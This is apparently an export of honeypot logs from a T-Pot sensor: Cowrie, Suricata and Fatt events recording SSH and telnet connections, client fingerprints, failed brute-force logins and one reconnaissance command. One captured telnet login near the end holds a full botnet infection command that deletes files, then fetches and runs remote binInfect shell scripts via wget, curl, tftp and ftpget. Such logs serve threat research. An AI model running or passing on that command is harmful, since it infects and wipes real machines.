"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58948, "dest_port": 22, "timestamp": "2021-09-20T11:23:14.393410", "@timestamp": "2021-09-20T11:23:14.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29086	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:14.130446+03	2021-09-20 14:30:03.680523+03	{"_id": "NgbyAnwBvYTbRNuEITNX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:58948 (192.168.176.2:22) [session: db2b50a9c8db]", "session": "db2b50a9c8db", "@version": "1", "protocol": "ssh", "src_port": 58948, "dest_port": 22, "timestamp": "2021-09-20T11:23:14.130446Z", "@timestamp": "2021-09-20T11:23:14.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29087	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:23:02.845022+03	2021-09-20 14:30:03.681524+03	{"_id": "GAbxAnwBvYTbRNuE9DMu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11474, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1264, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 564918912212372, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48178, "timestamp": "2021-09-20T11:23:02.845022Z", "@timestamp": "2021-09-20T11:23:02.845Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29088	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:23:02.895702+03	2021-09-20 14:30:03.682524+03	{"_id": "GgbxAnwBvYTbRNuE9TNk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35138, "dest_port": 443, "timestamp": "2021-09-20T11:23:02.895702", "@timestamp": "2021-09-20T11:23:02.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29091	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:23:06.822412+03	2021-09-20 14:30:03.686525+03	{"_id": "HQbyAnwBvYTbRNuEAjMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:36547 (192.168.176.2:22) [session: a5e83efc23d2]", "session": "a5e83efc23d2", "@version": "1", "protocol": "ssh", "src_port": 36547, "dest_port": 22, "timestamp": "2021-09-20T11:23:06.822412Z", "@timestamp": "2021-09-20T11:23:06.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29092	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:23:06.825145+03	2021-09-20 14:30:03.687525+03	{"_id": "IwbyAnwBvYTbRNuEAjMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a5e83efc23d2", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:23:06.825145Z", "@timestamp": "2021-09-20T11:23:06.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29093	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:14.138068+03	2021-09-20 14:30:03.688523+03	{"_id": "OAbyAnwBvYTbRNuEITNX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "db2b50a9c8db", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:23:14.138068Z", "@timestamp": "2021-09-20T11:23:14.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29094	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:23:00.623515+03	2021-09-20 14:30:03.690523+03	{"_id": "EAbxAnwBvYTbRNuE6jOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "724eae4f3140", "@version": "1", "duration": 1.3116624355316162, "timestamp": "2021-09-20T11:23:00.623515Z", "@timestamp": "2021-09-20T11:23:00.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29095	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:15.986596+03	2021-09-20 14:30:03.691523+03	{"_id": "OQbyAnwBvYTbRNuEJTNA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "590009050ebe", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:23:15.986596Z", "@timestamp": "2021-09-20T11:23:15.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29096	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:15.98576+03	2021-09-20 14:30:03.692524+03	{"_id": "PgbyAnwBvYTbRNuEJTNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:59148 (192.168.176.2:22) [session: 590009050ebe]", "session": "590009050ebe", "@version": "1", "protocol": "ssh", "src_port": 59148, "dest_port": 22, "timestamp": "2021-09-20T11:23:15.985760Z", "@timestamp": "2021-09-20T11:23:15.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29097	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:23:16.26538+03	2021-09-20 14:30:03.693524+03	{"_id": "RAbyAnwBvYTbRNuEKDMz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59148, "dest_port": 22, "timestamp": "2021-09-20T11:23:16.265380", "@timestamp": "2021-09-20T11:23:16.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29098	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:16.266003+03	2021-09-20 14:30:03.694523+03	{"_id": "RgbyAnwBvYTbRNuEKTMp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "590009050ebe", "@version": "1", "timestamp": "2021-09-20T11:23:16.266003Z", "@timestamp": "2021-09-20T11:23:16.266Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29099	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:23:17.787089+03	2021-09-20 14:30:03.696525+03	{"_id": "SwbyAnwBvYTbRNuELTMQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 109.104.151.106:52338 (192.168.176.2:23) [session: d9a6beab05ba]", "session": "d9a6beab05ba", "@version": "1", "protocol": "telnet", "src_port": 52338, "dest_port": 23, "timestamp": "2021-09-20T11:23:17.787089Z", "@timestamp": "2021-09-20T11:23:17.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	telnet	cowrie.session.connect	\N	known attacker	\N
29100	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:17.431272+03	2021-09-20 14:30:03.697524+03	{"_id": "TQbyAnwBvYTbRNuELTMQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "590009050ebe", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:23:17.431272Z", "@timestamp": "2021-09-20T11:23:17.431Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29101	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:23:18.156916+03	2021-09-20 14:30:03.698524+03	{"_id": "TwbyAnwBvYTbRNuEMDP5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [root/vizxv] failed", "session": "d9a6beab05ba", "@version": "1", "password": "vizxv", "username": "root", "timestamp": "2021-09-20T11:23:18.156916Z", "@timestamp": "2021-09-20T11:23:18.156Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29102	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:18.713411+03	2021-09-20 14:30:03.699524+03	{"_id": "UAbyAnwBvYTbRNuEMDP5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "590009050ebe", "@version": "1", "duration": 2.7268688678741455, "timestamp": "2021-09-20T11:23:18.713411Z", "@timestamp": "2021-09-20T11:23:18.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29103	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:19.100392+03	2021-09-20 14:30:03.700524+03	{"_id": "UQbyAnwBvYTbRNuENDPi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:19.100392Z", "@timestamp": "2021-09-20T11:23:19.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29104	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:20.020084+03	2021-09-20 14:30:03.701524+03	{"_id": "UwbyAnwBvYTbRNuENDPi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:20.020084Z", "@timestamp": "2021-09-20T11:23:20.020Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29105	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:23:11.000517+03	2021-09-20 14:30:03.702524+03	{"_id": "WAbyAnwBvYTbRNuENjOf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:10.285437+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1610268851460861, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 57943, "timestamp": "2021-09-20T11:23:11.000517Z", "@timestamp": "2021-09-20T11:23:11.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29106	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:23:20.355509+03	2021-09-20 14:30:03.704524+03	{"_id": "WgbyAnwBvYTbRNuEODPL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [sh/cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *] failed", "session": "d9a6beab05ba", "@version": "1", "password": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf 